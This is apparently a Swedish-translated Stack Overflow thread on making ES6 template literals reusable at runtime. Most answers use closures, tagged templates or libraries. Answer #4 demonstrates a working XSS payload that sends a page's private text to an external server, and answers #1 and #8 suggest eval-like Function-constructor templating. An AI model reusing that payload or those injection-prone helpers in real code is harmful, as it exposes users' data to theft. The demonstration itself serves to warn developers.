javascript - Kan ES6-mallsträngar ersättas vid körning (eller återanvändas)?


tl;dr: Är det möjligt att göra en återanvändbar mallliteral?

Jag har försökt använda mallsträngar men jag antar att jag bara inte förstår det och nu blir jag frustrerad. Jag menar, jag tror att jag förstår det, men "det" borde inte fungera så, eller vara hur det borde fungera. Det borde fungera annorlunda.

Alla exempel jag ser (även taggade mallar) kräver att "ersättningar" görs vid deklarationstid och inte vid körningstid, vilket verkar helt poänglöst för mig för en mall. Kanske är jag galen, men en "mall" för mig är ett dokument som innehåller token som blir ersatta när du använder det, inte när du skapar det, annars är det bara ett dokument (dvs. en sträng). En mall lagras med token som token och dessa token utvärderas när du... utvärderar den.

Alla citerar ett hemskt exempel liknande:

var a = 'asd';
return `Worthless ${a}!`

Det är trevligt, men om jag redan vet a, skulle jag bara return 'Worthless asd' eller return 'Worthless '+a. Vad är poängen? På allvar. Okej, poängen är lathet; färre plus, mer läsbarhet. Bra. Men det är inte en mall! Inte enligt min åsikt. Och min åsikt är allt som räknas! Problemet, enligt min åsikt, är att mallen utvärderas när den deklareras, så om du gör, enligt min åsikt:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Eftersom expletive inte är deklarerad, returnerar den något som My undefined template. Toppen. Faktiskt, åtminstone i Chrome, kan jag inte ens deklarera templaten; det ger ett fel eftersom expletive inte är definierad. Det jag behöver är att kunna göra substitutionen efter att ha deklarerat templaten:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

Jag förstår dock inte hur detta är möjligt, eftersom detta egentligen inte är mallar. Även när du säger att jag borde använda taggar, nej, de fungerar inte:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

Allt detta har fått mig att tro att mallsträngar är fruktansvärt felbenämnda och borde kallas vad de egentligen är: heredocs. Jag antar att ordet "literal" borde ha gett mig en antydan (som i, oföränderlig)?

Missar jag något? Finns det ett (bra) sätt att göra ett återanvändbart template literal?

Jag ger dig, återanvändbara templateliteral:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

Och här är en naiv "hjälpfunktion"...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...för att göra det "bättre".

Jag är benägen att kalla dem mallguteraler på grund av det område från vilket de framkallar snurriga känslor.

Svar #1

För att få dessa literaler att fungera som andra mallmotorer behövs en mellanform.

Det bästa sättet att göra detta är att använda Function-konstruktorn.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

Precis som med andra mallmotorer kan du få den strängen från andra platser som en fil.

Vissa problem kan uppstå när man använder denna metod (till exempel skulle malltaggar vara svårare att lägga till). Du kan heller inte ha inline JavaScript-logik, på grund av den sena interpoleringen. Detta kan också åtgärdas med lite eftertanke.

Svar #2

Använd taggade templates litteraler:

Du kan sätta en mallsträng i en funktion:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

Du kan göra samma sak med en taggad mall:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

Idén är att låta malltolkaren dela upp de konstanta strängarna från de variabla "platshållarna" och sedan returnera en funktion som sätter ihop allt igen baserat på en ny uppsättning värden varje gång.

Svar #3

Förmodligen det renaste sättet att göra detta är med pilfunktioner (eftersom vi vid det här laget redan använder ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...Och för taggade mallsträngar:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

Detta undviker också användningen av eval() eller Function() som kan orsaka problem med kompilatorer och leda till mycket försämrad prestanda.

Svar #4

Säker & dynamisk

Ja, du kan göra det genom att parsa din sträng med mall som JS med Function (eller eval) - men detta rekommenderas inte och tillåter XSS-attack

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Istället kan du säkert infoga objekt obj fält i mallen str på ett dynamiskt sätt enligt följande

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

För att läsa fält från inbäddade objekt (här) försök

let deep = (o,k) => k.split('.').reduce((a,c,i) => {
    let m=c.match(/(.*?)\[(\d*)\]/);
    if(m && a!=null && a[m[1]]!=null) return a[m[1]][+m[2]];
    return a==null ? a: a[c];
},o);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> deep(obj,g));

// --- test ---

// parameters in object
let t1 = 'My name is ${users[0].name}, I am ${users[0].info.age}.';
let r1 = inject(t1, {users: [{name: 'JOHN', info: {age: 23}}]} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "My name is ${0} - ${0} ${1.data[0].surname}."
let r2 = inject(t2, ['John', {data:[{surname: 'Smith'}]}] );
console.log("ARRAY :", r2);

Svar #5

År 2021 kom den mest enkla lösningen hittills.

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

Det är nästan samma som att bara skriva och återanvända en template literal (vilket OP ville ha).

Du kan justera saker härifrån...

Svar #6

Saknar jag något? Finns det ett [bra] sätt att göra ett återanvändbart mall-literal?

I JavaScript finns det en funktion som kallas taggfunktioner, eller taggade mallar, som gör att du kan anropa en funktion med `` istället för ().

Taggade mallar:

En mer avancerad form av mallsträngar är taggade mallar.

Taggar låter dig analysera mall-litteraler med en funktion. Det första argumentet i en taggfunktion innehåller en array med strängvärden. De återstående argumenten är relaterade till uttrycken.

Taggfunktionen kan sedan utföra vilka operationer som helst på dessa argument som du önskar, och returnera den manipulerade strängen. (Alternativt kan den returnera något helt annat, som beskrivs i ett av de följande exemplen.)

Namnet på funktionen som används för taggen kan vara vad du än vill.

Jag har nästan en enradare för det:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

Det är allt. När jag vill återanvända en mall och skjuta upp lösningen av ersättningarna, gör jag bara:

function defer([first, ...rest]) {
  return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

t = defer`My template is: ${null} and ${null}`;
console.log(t('simple', 'reusable'));
// 'My template is: simple and reusable'
console.log(t('amazing', '5-years late'));
// 'My template is: amazing and 5-years late'
console.log(t(null));
// 'My template is: null and undefined'
console.log(defer`Choose: ${'ignore'} / ${undefined}`(true, false));
// 'Choose: true / false'

Att använda denna tagg returnerar en funktion (istället för en sträng) som ignorerar alla parametrar som skickas till literal. Sedan kan den anropas med nya parametrar senare. Om en parameter inte har någon motsvarande ersättning, blir den undefined.


Utökad svar

Denna enkla kod är funktionell, men om du behöver mer avancerat beteende kan samma logik tillämpas och det finns oändliga möjligheter. Du skulle kunna:

  1. Använd ursprungliga parametrar:

Du kan lagra de ursprungliga värdena som passerades till literalet i konstruktionen och använda dem på kreativa sätt när mallen används. De kan bli flaggor, typkontroller, funktioner etc. Detta är ett exempel som använder dem som standardvärden:

function deferWithDefaults([first, ...rest], ...defaults) {
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + (i < values.length ? values[i] : defaults[i]) + curr;
  }, first);
}

t = deferWithDefaults`My template is: ${'extendable'} and ${'flexible'}`;
console.log(t('awesome'));
// 'My template is: awesome and flexible' 
  1. Skriv en mallfabrik:

Gör det genom att omsluta denna logik i en funktion som förväntar sig, som argument, en anpassad funktion som kan tillämpas i reduceringen (när bitarna av mallsträngen sätts ihop) och returnerar en ny mall med anpassat beteende.

Då kan du till exempel skriva mallar som automatiskt undviker eller sanerar parametrar när du skriver inbäddad html, css, sql, bash...

Med denna naiva SQL-mall nedan kunde vi bygga frågor som denna (vänligen, använd den inte i produktion, den visas här bara som ett konceptbevis):

const createTemplate = fn => function (strings, ...defaults) {
  const [first, ...rest] = strings;
  return (...values) => rest.reduce((acc, curr, i) => {
    return acc + fn(values[i], defaults[i]) + curr;
  }, first);
};

function sqlSanitize(token, tag) {
  // this is a gross simplification, don't use in production.
  const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
                    .test(name) ? `"${name.replace(/"/g, '""')}"` : name);
  const quoteValue = value => (typeof value == 'string' ?
                               `'${value.replace(/'/g, "''")}'` : value);
  switch (tag) {
    case 'table':
      return quoteName(token);
    case 'columns':
      return token.map(quoteName);
    case 'row':
      return token.map(quoteValue);
    default:
      return token;
  }
}

const sql = createTemplate(sqlSanitize);
q  = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
console.log(q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'Connel", true]));
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''Connel',true);`
  1. Acceptera namngivna parametrar för substitution: En inte-så-svår övning, baserad på vad som redan gavs. Det finns en implementering i detta andra svar.

  2. Få returobjektet att bete sig som en 'string': Tja, detta är kontroversiellt, men kan leda till intressanta resultat. Visas i detta andra svar.

  3. Lös parametrar inom globalt namnrum vid anropsstället:

Jag ger dig, återanvändbara mall-litteraler:

Nåväl, detta är vad OP visade som sitt tillägg, genom att använda kommandot evil eval. Detta kan göras utan eval, bara genom att söka efter det passerade variabelnamnet i det globala (eller window) objektet. Jag kommer inte att visa hur man gör det eftersom jag inte tycker om det. Stängningar är det rätta valet.

Svar #7

2019 svar:

Observera: Biblioteket förväntade sig ursprungligen att användare skulle sanera strängar för att undvika XSS. Version 2 av biblioteket kräver inte längre att användarsträngar saneras (vilket webbutvecklare ändå bör göra) eftersom det helt undviker eval.

Modulen es6-dynamic-template på npm gör detta.

const fillTemplate = require('es6-dynamic-template');

Till skillnad från de nuvarande svaren:

  • Det använder ES6-mallsträngar, inte ett liknande format. Uppdatering version 2 använder ett liknande format, istället för ES6-mallsträngar, för att förhindra att användare använder osanerade indata-strängar.
  • Det behövs inte this i mallsträngen
  • Du kan specificera mallsträngen och variablerna i en enda funktion
  • Det är en underhållen, uppdateringsbar modul, snarare än kopierad kod från StackOverflow

Användningen är enkel. Använd enkla citattecken eftersom mallsträngen kommer att lösas senare!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Svar #8

Förenklar svaret som gavs av @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

Svar #9

Det korta svaret är att bara använda _.template i lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Relaterade artiklar